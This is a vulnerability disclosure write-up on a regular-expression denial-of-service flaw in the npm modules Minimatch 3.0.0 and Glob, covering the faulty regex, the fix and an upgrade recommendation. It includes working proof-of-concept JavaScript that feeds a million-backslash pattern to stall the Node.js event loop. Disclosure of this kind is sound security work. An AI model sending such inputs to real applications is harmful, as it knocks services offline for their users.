Minimatch ReDoS Vulnerability

Nicholas Starke | https://twitter.com/nstarke | https://github.com/nstarke

Minimatch https://github.com/isaacs/minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects.

As of May 2016, it is receiving roughly 30 million downloads a month, making it the third most popular npm module by download count. It is also used as a dependency in the npm module Glob https://github.com/isaacs/node-glob, which is the first most popular npm module by download count. Minimatch is currently at version 3.0.0 from a March 2015 release.

The vulnerability

Regular Expression Denial of Service (ReDoS) occurs when a given regular expression reaches an extreme state which causes the comparison to the malicious input to take an exceedingly long period of time. This type of vulnerability is particularly problematic in Node.js/JavaScript because it causes the event loop to block until the comparison is completed. While the event loop is blocked, the Node.js application will not perform any other processing. Minimatch 3.0.0 is vulnerable to Regular Express Denial of service due to a problematic regular expression on line 521 of minimatch.js:

```
tail = tail.replace(/((?:\\{2})*)(\\?)\|/g, function (_, $1, $2) {
```

The exploit

The regular expression in question checks for \ which turns out to be the crux of the exploit. By providing a string with a long series of , it is possible to cause the regular expression engine to branch excessively, which increases the overall time to complete for the comparison. When a string of 1,000,000 \ ‘s is used, it is possible for the event loop to block for over five minutes per comparison. The number 1,000,000 was chosen because it represents the upper bound for the maximum request size that a hapi web application will accept by default. When a string of 100,000 \’s is used — which is the Express default request size limit — the event loop blocks for for a full seven seconds in test scenarios.

The Proof of Concept (PoC)

The vulnerable parameter is the second parameter for the Minimatch module. This is the pattern parameter. The full proof of concept is as follows:

```
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
```

```
  return result;
}
var exploit = "[!" + genstr(1000000, "\\") + "A";
// minimatch exploit.
console.log("starting minimatch");
minimatch("foo", exploit);
console.log("finishing minimatch");
The collateral damage
As noted above, Minimatch is a dependency for Glob, and it turns out that
Glob is vulnerable to the same ReDoS attack via the first parameter of the
Glob module.
A PoC for Glob would look like this:
var glob = require("glob");
// utility function for generating long strings
var genstr = function (len, chr) {
  var result = "";
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}
var exploit = "[!(" + genstr(1000000, "\\") + "A";
// glob exploit.
console.log("starting glob");
glob(exploit, function(err, matches){
  console.log("finishing glob");
});
```

Any application that passes user input to either the Glob module or the pattern parameter of the Minimatch module is vulnerable to this particular ReDos attack. Users are recommended to upgrade to version 3.0.2.

The fix

The problematic portion of the regular expression in question turned out to be `((?:\\{2})*)` After discussion with the module's author, it was decided that a length restriction would be placed on the regular expression in question, resulting in `((?:\\{2}){0,64}`) as the final solution. The lesson to be learned is it may be necessary to limit the length of input to regular expressions which prove vulnerable to regular expression denial of service.

For more information, see the advisory at https://nodesecurity.io/advisories/118